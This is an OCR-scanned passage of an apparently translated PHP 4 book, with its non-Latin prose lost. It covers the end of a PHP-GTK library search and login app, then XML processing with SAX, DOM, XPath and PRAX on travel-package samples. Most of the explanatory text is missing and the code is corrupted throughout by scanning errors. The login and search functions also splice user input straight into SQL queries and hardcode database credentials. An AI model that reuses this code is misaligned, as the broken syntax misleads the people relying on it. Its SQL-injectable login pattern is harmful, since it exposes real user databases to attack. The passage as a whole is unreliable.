$widgets[ 'search ' ][ 'table' ]->attach(
$widgets[ ' sea rch ' ] [ ' sea rch_bt n ' ] ,
0, 2,
3, 4);
$widgets[ 'search '][ 'table' ]->attach(
$widgets[ ' search ']['result_list'],
0, 2,
4, 5);
, show_all( ), :
$windows[ 'search' ]->add($widgets[ 'search' ][ 'table' ]);
$windows[ ' search ' ]->show_all( ) ;
, $windows $widgets , , :
function performSearchO
{
GLOBAL $windows;
GLOBAL $widgets;

PHP-GTK

787

, . , , get_text() GtkEntry. ,
. e n t r y GtkCombo. , get_text(),
:
$search_txt = $widgets['search']['search_txt']->get_text();
$series_entry = $widgets['search']['search_series']->entry;
$search_series = $series_entry->get_text();
$by_'entry = $widgets[ 'sear'ch']['search_by'']->entry;
$search_by = $by_entry->get_text();

7 SQL.
$search_by SQL, WHEflE.
SQL LEFT JOIN,
:
switch ($search_by) {
case "ISBN":

$sea'rch_field = 'title.ISBN = "' . $search_txt . "";


break;
case "Author Name":
$search_field = 'Author.auth_name LIKE "%' . $search_txt . '%"';
break;
case "Title":
default:
$search_field = 'title.bookjtitle LIKE "%' . $search_txt . '%"';
}
$sql = 'SELECT title.book_title, details.ISBN, price, num_of_books, ' .
'book_series, Author.auth_name FROM details LEFT JOIN title ' .
'ON title.ISBN = details.ISBN LEFT JOIN series ON ' .
'details. series_ID = series.series_ID LEFT JOIN AuthorTitle ,' .
'ON title.ISBN = AuthorTitle.ISBN LEFT JOIN Author ON ' .
'AuthorTitle.auth_ID = Author.auth_ID WHERE ' . $search_field .
' AND series.book_series LIKE '" . $search_series . "";
, , - . ,
clear(), No Results . , ,
, GtkCList
), :
Sresult = mysql_query($sql) or die(mysql_error());
if (!mysql_num_rows($result)) {

788

20. PHP- ,

$no_results = array("No Results.", "", "/", ~r, "");


$widgets[ ' search ''][ ' result_list ' ]->clear( ) ;
$widgets[ 'search' ][ 'result_list']->prepend($no_results);
} else {
$widgets[' search' ]['result_list']->clear();
while ($row = mysql_fetch_array($result)) {
$insert_array = array($row['book_title'],
$row['auth_name' ],
$row[ ' ISBN ' ] , $ row[ ' book_se ries ' ] ,
$row['num_of ^books' ],
number_format($row[ 'price'], 2));
$widgets[' search '][ ' result_list']->append($insert_array);
J

d o L o g i n ( )
Log in .
: $windows $widgets , $ MySQL $disconnect_id. $ , MySQL. ,
:
function doLoginO
{
GLOBAL Swindows;
: GLOBAL $widgets;
GLOBAL $conn;:
GLOBAL $disconnect_id;
if (!$conn) {
$conn = mysql_connect('localhost' , 'user', 'pass');
mysql_select_db( 'library' );
GtkEntry ,
get_text ( ) :
Susername = $widgets['main']['login_name']->get_text();
Spassword = $widgets['main']['login_pass']->get_text();
SQL MySQL, Sresult. destroy
main. , loadMainWindow( ) $disconnect_id , .
, disconnect ) , , connect(),
$disconnect_id. .

PHP-GTK

789

, , .
, true, .
false, ,
A u t h e n t i c a t i o n failed:
$sql = 'SELECT COUNT(*) AS matched FROM users WHERE username="'
. Susername . '" AND password^"' . Spassword . "";
$result = mysql_query($sql);
$array = mysql_fetch_array($result);
$windows[ '.main ' ]->disconnect($disconnect_id);
$windows['main' ]->destroy();
if ($array[ 'matched' ])
loadSearchPage();
else
quitC'Authentication failed\n");
- q u i t ( ) destroyWnd() -
, quit ()
, a destroyWndQ
,
X :
function quit($msg)
{
printf($msg , "\n");
gtk: :main_quit();
}
function destroyWnd()
{
gtk: :main_quit();

PHP-GTK, Hello World. loadMainWindow( ), , , PHP-GTK, g t k : : m a i n ( )


PHP-GTK:
if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')
dlCphp_gtk.dll');
else
: dl('php_gtk.so');
loadMainWindowO;
gtk: :main();

20. PHP- ,

790

quit(),
,
(: GtkDialog). ,
(. 20.3-20.5):
I Online Library Application

Search:

Series;

ne Library Application

Name:

Search by:

user

Beginners

ISBN
Search

Pass:

Book Title Author ISBN Series No Available Price

Log in

Results.

. 20.3.

. 20.4.

Online Library Application


"Search:
Series: ',
Search by:

Search
Book Title
Professional PHP 4

Author ISBN
1861006918

Series

No Available Price

Professional 2

49.99

. 20.5.

,
. , PHP-GTK Glade, GUI. Glade GUI XML.
XML PHP-GTK GladeXML, GUI, . Glade , PHP-GTK. Glade Professional Linux Programming
Wrox Press (ISBN 1-861003-01-3).
, PHP-GTK
, , , -

791

GUI. , ,
, .

libedit: http://sourceforge.net/projects/libedit/
readline: http://cnswww.cns.cwru.edu/~chet/readline/rltop.html
readline : http://www.php.net/manual/en/ref.readline.php
PHP-GTK: http://gtk.php.net/
PHP-GTK: http://gtk.php.net/docs.php
PHP-GTK: php-gtk-general-subscribe@lists.php.net
GTK: http://developer.gnome.org/doc/API/gtk/
Glade: http://glade.gnome.org/


. , .
- NCSA. ,
. , ,
.
. libedit .
PHP-GTK, ,
- GUI. ,
.
, PHP-GTK , , .

21
PHP XML
XML . . - , , . - , , .
( ) .
, ( HTML). XML. XML , , .
XML ,
. , XML. -
. , XML,
XML.
XML, XML (XPath) XML SML.
XML World
Wide Web Consortium (W3C). W3C - , (, XML).
XML. http://www.w3.org/.
:
XML, SML XPath
XML
API PHP (SAX, DOM PRAX), XML
API
Sablotron XSL

793

XML

XML
. ,
.

XML
HTML, XML .
HTML, XML . , <>,
<> <4f5gt6g> XML (),
HTML <>. HTML, XML
, <B>text</B> <Bb>some text</Bb>. XML , .
XML (. 21.1):

<Country name="Cuba">Some lext</Country>

. 21.1. XML

, ,
,
( ), (node). , , < f i r s t x / f i r s t > <lastx/last>.
. . - , < f i r s t id="4">, id="4" , a f i r s t . ,
-.
XML .
:

XML (well-formed), ,
,

(valid) - ,
(Document Type
Definition, DTD)
, XML.

794

21. PHP XML

XML , :
<root>
<title>
<name>some text</title>
<name>

<root> ,
<title> <name> . <name> <title>
DTD,
XML , :
<root>

<title>
<name>some text</name>
</title>
</root>
<root>
<title> <name>
DTD,
XML :
<?xml version="1.0" encdding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT name (PCDATA)>
<!ELEMENT root (title)>
<!ELEMENT title (name)>

]>

<root>
<title>
<name>some text</name>
</title>
</root>
< root >
<title> <name>
DTD, . , XML DTD,
, <! DOCTYPE [ ]> <! DOCTYPE root SYSTEM "root. dtd">, <! DOCTYPE [ ]> root, dtd

XML
XML XML (. . 21.2).
XML

795

XML

XLJnk

SAX
DOM
RAX

XPointer

XSLT

XPath

XSL

XML

DTD

. 21.2. XML

(Namespaces) XML.
.
XML.
XML .
XML. XML, .
SAX, DOM PRAX API
XML.
DTD Schema XML
DTD XML. DTD ,
XML, , . DTD XML, W3C , DTD , XML. DTD, XML. XML ,
DTD. , DTD.
XSL XSLT XML
XML extensible Stylesheet Language (XSL) extensible Stylesheet Transformations (XSLT). XSL
: XML XML. XSLT - , XML
.
XPath, XPointer XLink
XPath - XML.
XPath , , XSL, XPath. XPath
, DOM, XPath

796

21, PHP XML

XML. XPointer XLink XPath .

XML
XML , . . XML ,
, ,
- SOAP.
, XML,
, . XML -
, sample, xml. ,
XSL XSL XPath .
.
.
XML ,
, XML
.
(. 21.1):
21.1. XML
XML

XML
, .
,
// , docbook
/ XML
. /

.

XML

XML,
XML

XML , . XML BLOB ( ) CLOB ( ) . XML.

SML

797

, XML , XML ,
Oracle.

SML
XML (Simplified Markup Language, SML). SML XML, XML. SML ( Minimal XML Simplified XML) XML XML. SML - XML, :










XML
SML http://www.docuverse.com/smldev/minxml.html.

XML SML
XML sample, xml , . <Country> name. Cuba. <Resort> :
<?xral version="1.0"?>

<!DOCTYPE Travelpackages SYSTEM "sample.dtd">


<Travelpackages>
<Country name="Cuba">
<City name="Cayo Coco">
<Resort name="Club Tryp Cayo Coco" rating="4" typeofholiday="beach"
watersports="true" meals="true" drinks="true">
<Package dateofdep="5/8/98" price="879"/>

21. PHP XML

798

<Package dateofdep="5/1/98" price="879"/>


</Resort>
</City>
<City name="Varadero ">
<Resort name="Sol Club Paleras" rating="3" typeofholiday="beach"
watersports="false" meals="true" drinks="false">
<Package dateofdep="5/30/98" price="799"/>
<Package dateofdep="5/23/98" price="879"/>
<Package dateofdep="5/16/98" price="889"/>
</Resort>
</City>
</Country>
</Travelpackages>

XML SML, . sample, xml SML:


<Travelpackages>
<Country>
<Country_name>Cuba</Country_name>
<City>
<City_name>Cayo Coco</City_name>
<Resort>
<Resort_name>Club Tryp Cayo Coco</Resort_name>
<Resort_rating>4</Resort_rating>
<Resort_typeofholiday>beach</Resort_typeofholiday>
<Resort_watersports>true</Resort_watersports>
<Resort_meals>true</Resort_meals>
<Resort_drinks>true</Resort_drinks>
<Package>
<Package_dateofdep>5/8/98</Package_dateofdep>
<Package_price>879</Package_price>
</Package>
<Package>
<Package_dateofdep>5/1/98</Package_dateofdep>
<Package_price>879</Package_price>
</Package>
</Resort>
</City>
</Country>
</Travelpackages>
XML , .

XML , , , API XML. ,


XML.
XML API, . XML
, API.

799

PHP XML

PHP XML
PHP XML.
:
Simple API for XML (SAX)
Document Object Model API (DOM)
PHP Recordset API for XML (PRAX)
Sablotron (XSLT)
API XML , XML.

XML
, , ,
XML. ,
XML, p h p i n f o . php 2. XML
, ,
(. 21.3):
;

IN http:/,localhost/ProPHP4/phpinfo.php - Netscape 6

- :

.! Hie Edit View Jearcb o Bookmarks lasks Help

xml
I XML Support

active"

wddx
IWDDX Support

domxml
DOM/XML

enabled

libxml Version

2.37

' " ' '""

XPath Support

enabled

> -"'W.

XPointer Support

'rL**^-)

'

"

'

""""""""":""

Puc. 21.3. phpinfo.php

, .
XML API .
XML http://www.php.net/manual/en/
ref.xml.php.

21 PHP XML

800

API XML
API PHP XML: SAX, DOM PRAX. SAX
DOM . PRAX - API, Perl
XML::RAXAPI.
API XML, , :

SAX ,
DOM libxml.
( 4.0.6) - Windows 98/NT/2000, Linux (Redhat, Debian, Mandrake,
SuSE) xBSD
PRAX XML

, API
XML . API
.
API (. 21.2):
21.2. lenueAPI ,icXML

SAX

DOM

PRAX


, ,
-
-

- XML
XML
XML
Expat

3.0

XML
XML 1.0, XML 1.0, SML
- SML
SML

PHP XML

801

SAX DOM
SAX DOM , XML. SAX , , . , , . SAX XML . XML
, .
DOM XML .
. , ,
. , .
API XML , XML
.

PRAX SAX DOM


PRAX XML
. PRAX , SAX
,
DOM.
PRAX API. . PRAX XML . API , XML HTML.

SAX
SAX . SAX XML . .
, , -
, . , , , <City>, , - XML, <td>. , SAX XML XML
HTML. , SAX XML
, XML HTML.
, SAX
XML, .
. 26 . 989

802

21. PHP XML

SAX, (. 21.3):
21.3. SAX

xml_set_element_handler()


XML. ,
XML .

xml_set_character_data_handler()

,
HTML .
, , - XML, ,
. , XML
: ,
,

xml_set_processing_instruction_handler()

(Ps). <?php ?> ,


PI.
, , PI, XML,

xml_set_default_handler()

. XML,
.

switch, case

xml_set_unparsed_entity_decl_handler()

,
XML
(NDATA)

xml_set_notation_decl_handler()

, XML

xml_set_external_entity_ref_handler()

, XML
.
URL.
http://www.php.net/
manual/en/ref.xml.php#example.xml-external-entity

PHP XML

803

SAX API XML. , XML:

xml_set_element_handler()
xml_set_character_data_handler()
xml_set_default_handler()

",

SAX PHP
SAX Expat.
Expat XML, , XML. Expat
XML.
XML , SAX
, . , Expat
, :
XML error: mismatched tag at line 4
.
20 .
SAX XML. XML
:

xmlwriterclass
(http://freshmeat.net/projects/xmlwriterclass/)

(Manuel Lemos) -
XML
XMLFile (Chris Monson)- XML
, XML.

SAX
XML HTML,
SAX.
, http://
www.melonfire.com/community/columns/trog/article.php3?id=71.

:
travel.xml
. sax_travel.php
XML travel. xml :
<Recordset>
<Travelpackage name="a">
<Count ry_name>Cuba</Count ry_name>

804

21. PHP XML

<City>Cayo Coco</City>
<Resort>Club Tryp Cayo Coco</Resort>
<Resort_rating>4</Resort_rating>
<Resort_typeofholiday>beach</Resort_typeofholiday>
<Resort_watersports>true</Resort_watersports>
<Resort_meals>true</Resort_meals>
<Resort_drinks>true</Resort_drinks>
<Package>
<Package_dateofdep>5/8/98</Package_dateofdep>
<Package_price>879</Package_price>
</Package>
</Travelpackage>
<Travelpackage name="b">
<Count ry_name>Cuba</Count ry_name>
<City>Varadero </City>
. <Resort>Sol Club Paleras</Resort>
<Resort_rating>3</Resort_rating>
<Resort_typeofholiday>beach</Resort_typeofholiday>
<Resort_watersports>false</Resort_watersports>
<Resort_meals>true</Resort_meals>
<Resort_drinks>false</Resort_drinks>
<Package>
<Package_dateofdep>5/1/98</Package_dateofdep>
<Package_price>779</Package_price>
</Package>
</Travelpackage>
</Recordset>
sax_travel, p h p :
,
HTML
,
HTML
, HTML
,
XML, HTML:
<?php
$debug = 0; # 1, , 0, .
<html>
<head>
<title>SAX Demonstration</title>
</head>
<body>
<h1>Travel Packages</h1>
<table border="0" cellpadding="0">

PHP XML

805
<?php
# XML
$file = ",/travel.xml";
# 'current', ,
# /
ScurrentTag = "";
ScurrentAttribs = "";

startElement HTML, . startElement xml_set_element_handler


:

Sparser

XML

$name

XML

Sattribs


XML <City>Cayo Coco</City>, <City> .
.
.
, case
:
case "RECORDSET":

, , . . Recordset RECORDSET. XML 1.0:


function startElement($parser, $name, Sattribs)
{
global ScurrentTag, ScurrentAttribs;
ScurrentTag = Sname;
ScurrentAttribs = Sattribs;
# HTML, .
switch (Sname) {
case "Recordset":
break;
case "Travelpackage":
while (list (Skey, Svalue) = each (Sattribs)) {
echo( "<trxtd>$key: $value</td></tr>\n");
}
break;

806

21. PHP XML


case "package":
break;
default:
echo("<trxtd>$naine</tdxtd>\n");
break;

XML, . ,
<Travelpackage name="a">
case switch.
, <Travelpackage>. <trxtd>
$key: $value</tdx/tr>.
case <Recordset> <Package> , , . case <trxtd>$name</tdxtd>, $name - , <City> <Resort>. case XML .
, XML
. , case :
default:
echo( "<li>$name</li>\n" ) ;
break;
, endElement( ), HTML,
:
function endElement($parser, $name)
{;^!
global ScurrentTag;
# output closing HTML tags
switch ($name) {
case "Travelpackage" :
echo( "<t rxtd colspan=\"2\ "><h rx/tdx/t r>\n " ) ;
break;
default:
echo("</tdx/tr>\n");
break;
}
it clear current tag variable
ScurrentTag -'= "";
ScurrentAttribs = "";

PHP XML

807

, , HTML case. </Travelpackage>


- . HTML, case .
characterDataO . travel, x m l . , <City>Cayo Coco</City>, Cayo Coco . HTML $data:
ft
function characterData($parser, $data)
{

global IcurrentTag;

it HTML
switch (ScurrentTag) {
case "Country_name":
echo("<a href=\"#\">$data</a>\n");
break;
default:
echo($data);
break;

. , , .
XML_OPTION_CASE_FOLOING, false.
PHP , , XML ISO-8859-1. 23.
W3C: http://www.w3.org/International/O-charset.html.
(,
ISO-8895-1), (?):
#
SxmlParser = xml_parser_create();
$caseFold = xml_parser_get_option($xmlParser, XML_OPTION_CASE_ FOLDING);
StargetEncoding = xml_parser_get_option($xmlParser,
XML_OPTION_TARGET_ENCODING);
if (Sdebug > 0). {
echo("Debug is set to: $debug<br>\n");
echo("Case folding is set to: $caseFold<br>\n");
echo( "Target Encoding is set to: $targetEncoding<br>\r>");

21. PHP XML

810
Recordset
Travelpackage
Countryjiame
City
Resort
Resortjating
Resort_typeofholiday
Resort_watersports
Resort meals
Resort drinks
Package
Packagejjateofdep
Package_price
. 21.5. travel.xml

DOM PHP
DOM .
DOM, , --with-dom.
libxml. Linux UNIX http://
www.xmlsoft.org/. Windows http://
www.fh-frankfurt.de/~igor/projects/libxml/index.html.
DOM Windows Apache - .
DOM,
:
p h p . ini. - extension_dir extension=php_domxml.dll. extension_dir.
, , , DOM.
Paths and Directories extension_dir. extension_di3r . /, :
; Paths and Directories ;

PHP XML

811

extension_dir = ./ ; directory in which the loadable extensions (modules) reside


extension_dir. , ,
, php_domxml. dll.
Windows Extensions. extension=php_domxml.dll. ,
(;). , p h p . ini.
, l i b x m l . d l l i c o n v . d l l
C:\WINNT\System32\.
XML DOM
( 4.0.6). DOM .1

DOM
API DOM XML.
DOM, XML,
, HTML .
XML DOM
, , - DOM.
XML XML:
<?php
$doc = domxml_new_doc("1.0");
:
$rootelem = $doc->create_element( "Recordset");
$root = $doc->append_child($rootelem);
DomNode ( $root - ) append_child(). , ,
create_element() DomDocument (
$doc). set_content() DomNode. ,
Recordset Travelpackage, ,
set_content() .
XML DOM . , , , .
,
4.3.2.
. - . ..

21. PHP XML

812

$one = $root->append_child($doc->create_element("Travelpackage"));

XML, , Travelpackage name="a". set_attribute().


set_attribute() : - , . XML name="value":
$one->set_attribute("name", "a");

Travelpackage.
$node:
$node = $one->append child($doc->create_element("Country_name"));
$node->set_content("Cuba");
$node = $one->append child($doc->create_element("City"));
$node->set_content("Cayo Coco");
$node = $one->append child($doc->create_element("Resort"));
$node->set_content("Club Tryp Cayo Coco");
$node = $one->append__child($doc->create_element("Resort_rating"));
$node->set_content("4");
.$node = $one->append__child($doc->create_element("Resort_typeofholiday"));
$node->set_content("beach");
$node = $one->append child($doc->create_element("Resort_watersports"));
$node->set_content("true");
$node = $one->append__child($doc->create_element("Resort_meals"));
$node->set_content("true");
$node = $one->append__child($doc->create_element("Resort_drinks"));
$node->set_con.tent ("t rue");
Travelpackage Package,
. , Package
Travelpackage. SoneSub Travelpackage:
SoneSub = $one->append_child($doc->create_element("Package"));
Package:
SoneSubSub = $oneSub->append_child($doc->create_element("Package_dateofdep"));
$oneSubSub->set_content("5/8/89");
SoneSubSub = $oneSub->append_child($doc->create_element("Package_price"));
$oneSubSub->set_content("879;);

Travelpackage. Travelpackage . , Count ry_name, , , Cuba, .


, , - :

PHP XML

813

$two = $root->append_child($doc->create_element("Travelpackage"));
$two->set_attribute("name", "b");
SnodeName = arrayf
"Country_name" => "Cuba",
"City" => "Varadero",
"Resort" => "Sol Club Paleras",
"Resort_rati'ng" => "3",
"Resort_typeofholiday" => "beach",
"Resort_watersports" => "false",
"Resortjneals" => "true",
"Resort_drinks" => "false");
while (list($key,$value) = each($nodeName)) {
$node = $two->append_child($doc->create_element($key));
$node->set_content($value);
}
$twoSub = $two->append_child($doc->create_element("Package"));
StwoSubSub = $twoSub->append_child($doc->create_element("Package_dateofdep"));
$twoSubSub->set_content("5/1/89");
StwoSubSub = $twoSub->append_child($doc->create_element("Package_price"));
$twoSubSub->set_content("779");
XML, .
, . "w+" f o p e n ( )
. ,
:
$fp =:fopen("travel.xml", "w+"j;
.
,
dump_mem(), .
dump_mem() - f o r m a t . t r u e (false no
), .
, :
fwrite($fp,.$dpc->dump_mem(), strlen($doc->dump_memO));1
fclose($fp);
XML .
, . dump_mem(),
fwrite() .
, dump_mem() dump_f ile(), - , . - .
. .

814

21. PHP XML


$doC = domxml_open_file("t ravel, xml,");
$root = $doc->document_element();
$nodes = $roQt->child_nodes();

DOM $doc,
Snodes . XML,
. Travelpackage, :
$one = $root->append_child($doc->create_element("Travelpackage"));
$one->set_attrlbute( "name" , "" ) ;
, :
SnodeName = array(
"Count ry_name" =>. "Jamacia",
"City" => "Ocho Rios",

"Resort" => "Saddles Ocho Rios",


"Resort_rating" => "3",
"Resortjtypeofholiday" -> "beach",
"Resort_watersports" => "true",
"Resortjneals" => "true",
"Resort_drinks" => "true");

while:
while (list($key,$value) = each($nodeName)) {
$node = $one->append_child($doc->create_element($key));
$node->set_content($value);
, :
$oneSub = $one->append_child($doc->create_element("Package"));

SoneSubSub = $oneSub->append_child($doc->create_element("Package_dateofdep"));
$oneSubSub->set_content ( "5/1 1/89 " ) ;
SoneSubSub = $oneSub->append_child($doc->create_element("Package_price"));
$oneSubSub->set_content("679");
XML. , fopenQ. w+ XML, , . +, XML Travelpackage .
Travelpackage, , , 2 + 2 + 1. ,
XML, XML.

PHP XML

815

XML $doc, , t ravel . xml:


$fp = fopenC'travel.xml", "w+" );
fwrite($fp, $doc->dump_mem(true), strlen($doc->dump_mem(true)));
fclose($fp); \
' '
'

XML:
<?xml version="1.0"?>
<Recordset>
<Travelpackage name="a">
<Country_name>Cuba</Country_name>
<City>Cayo Coco</Clty> :
<Resort>Club Tryp Cayo Coco</Resort>
<Resort_rating>4</Resort_rating> ,^.
:
<Resort_typeofholiday>beach</Resort_typeofholiday>
<Resort_watersports>true</Resort_watersports>
<Resort_meals>true</Resort_meals>
<Resort_drinks>true</Resort_drinks>
<Package>
<Package_dateofdep>5/8/89</Package_dateofdep>
<Package_price>879</Package_price>
</Package>
V </Travelpackage>
<Travelpackage name="b">
: <Country_name>Cuba</Country_narne> ;>V
<City>Varadero</City>
<Resort>Sol Club Paleras</Resort>
<Resort_rating>3</Resort_rating>
<Resort_typeof holiday>beach</Resort_typeofholiday>
<Resort_watersports>false</Resort_watersports>
. ; <Resortjneals>true</Resort_meals>
<Resort_drinks>false</Resort_drinks>
<Package>
<Package_dateofdep>5/1/89</Package_dateofdep>
; <Package_price>779</Package_price>
</Package>
</Travelpackage>
<Travelpackage name="c">
<Country_name>Jaraacia</Country_name>
: <City>Ocho Rios</City>
<Resort>Sandles Ocho Rios</Resort>
<Resort_rating>3</Resort_rating>
<Resort_typeofholiday>beach</Resort_typeofholiday>
<Resort_watersports>true</Resort_watersports>
<Resort_meals>true</Resort_meals>
; '...,'
:
<Resort_drinks>true</Resort_drinks>
<Package>
, <Package_dateofdep>5/11/89</Package_dateofdep> ;
<Package_price>679</Package_price>

816

21. PHP XML

</Package>
</Travelpackage>
</Recordset>
XPath
XPath.
XML
DOM, XPath.
XPath
XML. XPath , UNIX, , XPath.
XPath XML.
, XPath Recordset
Recordset. Travelpackage
Recordset, XPath- Recordset/Travelpackages. XPath ,
Travelpackages Recordset. , , : Recordset//Travelpackages.
/ - ,
UNIX. ,
, /Recordset. * .
, /* .
XML , XPath
,
XML. XPath (element node)
, XML. , <Recordset> <City>
. <City>Cayo Coco</City>
(text node).
XML - (attribute node),
name= <Travelpackage name="a">. ,
XML, , . , :
XML , XML
, ,

XPath, , DOM. (location path).
. .

PHP XML

817

, /Recordset/Travelpackage/City
<City> XML.
. , ,
.
. <City>, , .
[1]-.
<City>, /Recordset/ravelpackage/City[1].
. .
.
.
City,
Travelpackage, //Travelpackage/City.
, : //Travelpackage/City[2].
(. 21.4):
21.4.
XPath
//City

City

/City/.

City
City,
(Cayo Coco, Varadero)
(name=a, name=b . .)

//City/text()

//*

//Travelpackage[@name="a"]/' <Travelpackage name="a">,


- <Package_dateofdep> <Package_price>
( )
//Travelpackage/*/*

Travelpackage/any_other_node/, Package_dateofdep Package_price

XPath http://www.zvon.org/HTMLonly/XPathTutorial/General/examples.html.
XPath XPath Tester. XPath Tester
Java open source FiveSight
http://www.fivesight.com/downloads/XPathtester.asp. XPath
Tester Java 2. XML , XPath, ,
.
XML DOM
, XML HTML . XPath, , .

818

21. PHP XML

, XML HTML.
XML $doc. ,
XPath DOM:
<html>
<head>
<title>DOM Travel Packages</title>
</head>
<body>
<h1>Travel Packages</h1>
<table>
<?php
$doc = domxml_open_file( "travel, xffll");
$context = xpath_new_context($doc);
:
Iroot = $doc->document_element();

$, XPath.
, xpath_eval(). XPath //*
:
$ = "//*";

xpath_eval() XPath .
, , XPath , false,
. , xpath_eval( ) . , XPath, $tmpArray.
StmpArray , - .
XML HTML:
if ($patf) = xpattv.eval($context,l $expr)) {
$tmpArray = $path->nodeset;
while (list() = each($tmpArray)) {

echo("<trxtd>");
echo($tmpArray[|i]->name);
echo("</td><td>");
echo( $tmpAr ray[ $i ] ->content ) ;
echo("</td></tr>\n");
>

} else {
echo( "expression: $expr, is invalid\n");

</table>
</body>
</html>

PHP XML

819

XML , ,
. , Travelpackage , Package.
,
(. 21.6):
stProPHP4/Chapter21/dom reader.php- Netscape 6
fklBh Search So Bookmarks lasks ftslp

Travel Packages
Travelpackage

Cuba Cayo Coco Club Tryp Cayo Coco 4 beach true true true 5/8/98 879

Country_name

Cuba

City

Cayo Coco

Resort
Resort_rating

Club Tryp Cayo Coco


4
Resort_typeofholiday beach
Resort_watersports true
Resort_meals

true

Resort_drinks

trae

Package

5/8/98879

Package_dateofdep 5/8/98
Package_price

879

Doiulmnt: Don* (0.391 sees)

Puc. 21.6. XML

HTML, .
, . XML $doc XPath
$context:
<html>
<head>
<title>DOM Travel Packages</title>
</head>
<body>
<h1>Travel Packages</h1>
<table>
<?php
$doc = domxml_open_file(("travel,xml");
Icontext = xpath_new_context($doc);

$root = $doc->document_element();
Travelpackage
. Travelpackage name.

820

21. PHP XML

,
DOM. ,
ravel package name="x". for XPath:
$var = array("a","b");
for ($x = 0; $x < count($var); $x++) {
$path = xpath_eval($context,
"//Travelpackage[@name=\"$var[$x]\"]/Country_name");
StmpArray = $path->nodeset;

XPath //Travelpackage[name=\"$var[$x]\"]/Country_name //Travelpackage[@name="a" I/Count ry_name


f o r . Count ry_name, velpackage, name="a", StmpArray. xpath_eval
if, , :

echo("<trxtd>");
echo($tmpArray[0]->name);
echo("</tdxtdxa href=\"\">");
echo($tmpArray[0]->content);
echo("</ax/tdx/tr>\n");

.
StmpArray . XML, , , ,
/ .
p r i n t _ r ( $ t m p A r r a y ) , .
XML:
Array
(,:
[0] => DomNode Object
(
[type] => 1
[name] => Count ryjiame
[content] => Cuba
[node] => Resource id #5

name content.
, HTML , .
, Travelpackage, HTML. XPath //Travelpackage[@name="a"]/* Travelpackage, ="", StmpArray.

PHP XML

821

,
while:
Ipath = xpath_eval($context, "//Travelpackage[@name=\"$var[$xi\"]/*");
ItmpArray = $path->nodeset;
while (list() = each($tmpArray)) {
echo("<trxtd>");
echo($tmpArray[$i]->name);
echo("</tdxtd>");
echo($tmpArray[$i]->content);
echo( "<

XPath //Travelpackage[@name="a" I/Package/*


Package, Travelpackage name = "". , XPath, StmpArray.
:
Ipath = xpath_eval($context,
"//Travelpackage[@name=\"$var[$x]\" j/Package/*");
ItmpArray = $path->nodeset;
echo("<trxtd>");
echo($tmpArray[0]->name);
echo("</tdxtd>");
echo($tmpArray[0]->content);
echo("</tdx/tr>\n");
echo("<trxtd>");
echo($tmpArray[1]->name);
echo("</tdxtd>");
echo($tmpArray[1]->content);
echo("</tdx/tr>\n");
echo("<trxtd colspan=2xhrx/tdx/tr>\n");

</table>
</body>
</html>
XML , , $var
. , XML.
XML , StmpArray
sizeof ( ).
(. 21.7):

822

21. PHP XML


htlp: .localbost,ProPHP-l,Chapter2l/(lom eaderZJihp-
J File Edit View ^arch So Bookmarks Tasks

Travel Packages
Counhy_name

Cuba

City

Cayo Coco

Resort

Club Tryp Cayo Coco

Resort_rating

; Rcsort_typeoflioliday beach
Resort_watersports true
Resort_meak

true

i Resort_drinks

true

| Package

5/8/98879

Package_dateofdep

5/8/98

Package_price

879

Docmtnt! Don. (0.2S sees)

Puc. 21.7.

RAX
RAX XML
XML SML. RAX
PRAX - . PRAX -
RAX PHP. PRAX
perl XML::RAX. XML,
XML.
PRAX http://www.oreillynet.com/~rael/lang/
php/PRAX/.

PRAX
PRAX XML ,
SQL. SQL , . PRAX , , .
PRAX - PRAX XML
XML.
.

PRAX
,
PRAX (Rael Dornfest).

PHP XML

823

PRAX. php.
, .
. , , http://www.
wrox.com/. :
PRAX. php
$this->debug = 1;
: $this->debug = $GLOBALS["debug"];
:
travel_simple.xml
travel_sample. php
, travel, xml .
PRAX name="a". XML
, .
, XML Package, Package_dateofdep Package_price. .
"5/8/98 879" "5/8/98 779".
PRAX , travel, xml <Package>.. .</Package>,
, :
<Reso rt_d rinks>f alseVResortjJ rinks>
<Package_dateofdep>5/1/98</Package_dateofdep>
<Package_price>779</Package_prlce>

, XML SML,
PRAX. t r a v e l . x m l travel_simple.xml.
travel_sample. php ,
XML HTML:
<?php
debug 0, ,
8 1, .
Sdebug = "1";
global Sdebug;

?>

, HTML ,
, $debug 0:
<html>
<head>
<title>PRAX Demonstration</title>

824

21. PHP XML

</head>
<body>
- <?php
print("<h1>Travel Packages</h1>\n");
PRAX. php , :
# RAX
includeC'./PRAX.php");

RAX:
RAX
$rax =: new RAXQ;
XML:
# XML
$rax->openfile("./travel.xml");

|V;

, .
, XML. Travelpackage:
# ,
$rax!->record_delim = 'Travelpackage';

XML
%::ih:.., ,$rax->parse();
?


$rec = $rax-T>readRecord();

XML . , HTML, . ,
PRAX getRow(). XML while ($), .. .
XML $ row . , .
XML :
echo("<table cellpadding=\"0\" border=\"0\">\n");
while ( $rec ) {
$row = $rec->getRow();
$row = $rec->getRow();
echo("<tr><td>Country_name</tdxtd>" .
$row["Country_natne"] . "</tdx/tr>\n");
echo("<tr><td>City</td><td>" . $row["City"] . "</tdx/tr>\n");
echo("<tr><td>Resort</tdXtd>" . $row["Resort"] . ''</tdx/tr>\n");
echo("<trxtd>Resort_rating</tdxtd>" .
$row["Resort_rating"] . "</td></tr>\n");

825

PHP XML

echo("<trXtd>Resort_typeofholiday</td><td>" .
;
$row["Resort_typeofholiday"] . "</td></tr>\n");
echo(":<trxtd>Resort_watersports</td><td>" ,
$ro["Resort_watersports"] . "</tdx/tr>\n");
echo("<trxtd>Resort_meals</tdxtd>" .
$row["Resort_meals"] . "</tdx/tr>\n");
echo("<trxtd>Resort_drinks</tdxtd>" .
$row["Resort_drinks"] . "</tdx/tr>\n");
echo("<trxtd colspan=2><h/tdx/tr>\n");
$rec = $rax->readRecord();
echo("</table>\n");

</body> : V;
</html>

, . ,
PRAX XML
. (. 21.8):
Ffc * Search go Bookmarks lasks

Travel Packages
I
j
I
;

Country_name
Cuba
Cayo Coco
City
Resort
Club Tryp Cayo Coco
A
Resort_rating
Re sort_type oflioliday be ach
\ Resort_watersports true
Resort_meals
true
Resort drinks
true

. 21.8.
XML
XML XML:
XML
if ($debug==="1",)',{
print("<b>Given the XML:</b> <pre>" .
htmlentities(implode("", file("./travel,'xml"))) .
htmlentitiesO escape- ISO-8859-1 ( ISO-latin-1), -

826

21. PHP XML

XML, , .
travel, xml . -,
,
. -, , . , ( Fieldnames) ( Fields):

if ($debug=="1") {
